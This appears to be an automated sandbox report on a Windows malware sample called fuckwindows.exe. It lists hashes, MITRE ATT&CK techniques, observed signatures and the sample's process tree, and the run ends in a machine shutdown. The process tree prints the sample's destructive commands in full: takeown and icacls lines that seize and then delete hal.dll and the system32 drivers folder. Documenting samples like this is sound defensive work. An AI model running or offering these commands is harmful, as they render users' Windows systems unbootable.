4efbab91aeb4f41ae2932019ae41ee4f7ce821dc66182657c677893c97d1396e

Analysis

max time kernel
12s
max time network
12s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
01/08/2024, 19:58

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Reason

Machine shutdown

General

Target
fuckwindows.exe
Size 1.2MB
Sample240801-yp72vszejd
SHA256 4efbab91aeb4f41ae2932019ae41ee4f7ce821dc66182657c677893c97d1396e
MD5 dc534d946e0c76162f1de6d2500155b7
SHA1 26571b52ffaae4b7fa565ddcd8d7c675eb5112c4
SHA512 30231c4f542155bd823fdee5524d1555d97ce25b141240bb1e5c05839799e0d78b7f98689fa7248b09be95efc2b601772fbebdd4b9046eeb5e6ab5f37fb4ebd6
SSDEEP 24576:5TQ600VCO/ofRQJaR3gz8M0oODgAjSSMhqtRFyHTU4zbB/JB1lsE5X/xh+PuPPtI:Et+1kYfaW
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
5004	takeown.exe
2464	icacls.exe
400	takeown.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-807826884-2440573969-3755798217-1000\Control Panel\International\Geo\Nation	fuckwindows.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5004	takeown.exe
2464	icacls.exe
400	takeown.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5004	takeown.exe
Token: SeTakeOwnershipPrivilege	400	takeown.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 3676 wrote to memory of 4412	3676	fuckwindows.exe	87
PID 3676 wrote to memory of 4412	3676	fuckwindows.exe	87
PID 4412 wrote to memory of 5004	4412	cmd.exe	89
PID 4412 wrote to memory of 5004	4412	cmd.exe	89
PID 4412 wrote to memory of 2464	4412	cmd.exe	90
PID 4412 wrote to memory of 2464	4412	cmd.exe	90
PID 3676 wrote to memory of 3400	3676	fuckwindows.exe	91
PID 3676 wrote to memory of 3400	3676	fuckwindows.exe	91
PID 3676 wrote to memory of 3456	3676	fuckwindows.exe	92
PID 3676 wrote to memory of 3456	3676	fuckwindows.exe	92
PID 3676 wrote to memory of 5040	3676	fuckwindows.exe	93
PID 3676 wrote to memory of 5040	3676	fuckwindows.exe	93
PID 3676 wrote to memory of 4364	3676	fuckwindows.exe	94
PID 3676 wrote to memory of 4364	3676	fuckwindows.exe	94
PID 3676 wrote to memory of 1532	3676	fuckwindows.exe	95
PID 3676 wrote to memory of 1532	3676	fuckwindows.exe	95
PID 3676 wrote to memory of 1244	3676	fuckwindows.exe	96
PID 3676 wrote to memory of 1244	3676	fuckwindows.exe	96
PID 3676 wrote to memory of 1104	3676	fuckwindows.exe	97
PID 3676 wrote to memory of 1104	3676	fuckwindows.exe	97
PID 3676 wrote to memory of 3868	3676	fuckwindows.exe	98
PID 3676 wrote to memory of 3868	3676	fuckwindows.exe	98
PID 3676 wrote to memory of 4416	3676	fuckwindows.exe	99
PID 3676 wrote to memory of 4416	3676	fuckwindows.exe	99
PID 3676 wrote to memory of 4672	3676	fuckwindows.exe	100
PID 3676 wrote to memory of 4672	3676	fuckwindows.exe	100
PID 3676 wrote to memory of 3680	3676	fuckwindows.exe	101
PID 3676 wrote to memory of 3680	3676	fuckwindows.exe	101
PID 3676 wrote to memory of 2620	3676	fuckwindows.exe	102
PID 3676 wrote to memory of 2620	3676	fuckwindows.exe	102
PID 3676 wrote to memory of 3956	3676	fuckwindows.exe	103
PID 3676 wrote to memory of 3956	3676	fuckwindows.exe	103
PID 3676 wrote to memory of 4600	3676	fuckwindows.exe	104
PID 3676 wrote to memory of 4600	3676	fuckwindows.exe	104
PID 3676 wrote to memory of 4384	3676	fuckwindows.exe	105
PID 3676 wrote to memory of 4384	3676	fuckwindows.exe	105
PID 3676 wrote to memory of 1880	3676	fuckwindows.exe	106
PID 3676 wrote to memory of 1880	3676	fuckwindows.exe	106
PID 3676 wrote to memory of 5036	3676	fuckwindows.exe	107
PID 3676 wrote to memory of 5036	3676	fuckwindows.exe	107
PID 3676 wrote to memory of 4404	3676	fuckwindows.exe	109
PID 3676 wrote to memory of 4404	3676	fuckwindows.exe	109
PID 3676 wrote to memory of 4568	3676	fuckwindows.exe	110
PID 3676 wrote to memory of 4568	3676	fuckwindows.exe	110
PID 3676 wrote to memory of 2184	3676	fuckwindows.exe	111
PID 3676 wrote to memory of 2184	3676	fuckwindows.exe	111
PID 3676 wrote to memory of 2636	3676	fuckwindows.exe	113
PID 3676 wrote to memory of 2636	3676	fuckwindows.exe	113
PID 2184 wrote to memory of 400	2184	cmd.exe	114
PID 2184 wrote to memory of 400	2184	cmd.exe	114

C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe
"C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\hal.dll" && icacls "c:\windows\system32\hal.dll" /grant Everyone:(F) && del /f "c:\windows\system32\hal.dll" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4412
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5004
- - C:\Windows\system32\icacls.exe
    icacls "c:\windows\system32\hal.dll" /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2464
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3400
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3456
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5040
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4364
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1532
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1244
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1104
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3868
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4416
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4672
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3680
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2620
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3956
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4600
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4384
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1880
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5036
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4404
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\drivers\*" && icacls "c:\windows\system32\drivers\*" /grant Everyone:(F) && del /s /q /f "c:\windows\system32\drivers\*" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\drivers\*"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
  2⤵
  PID:2636
- - C:\Windows\system32\wininit.exe
    "C:\Windows\system32\wininit.exe"
    3⤵
    PID:1652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_12clsvwi.m0s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_12clsvwi.m0s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2636-9-0x000002A3EC9C0000-0x000002A3EC9E2000-memory.dmp

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memory/3676-0-0x00007FF624690000-0x00007FF62482F000-memory.dmp

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memory/3676-1-0x00007FF624690000-0x00007FF62482F000-memory.dmp

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Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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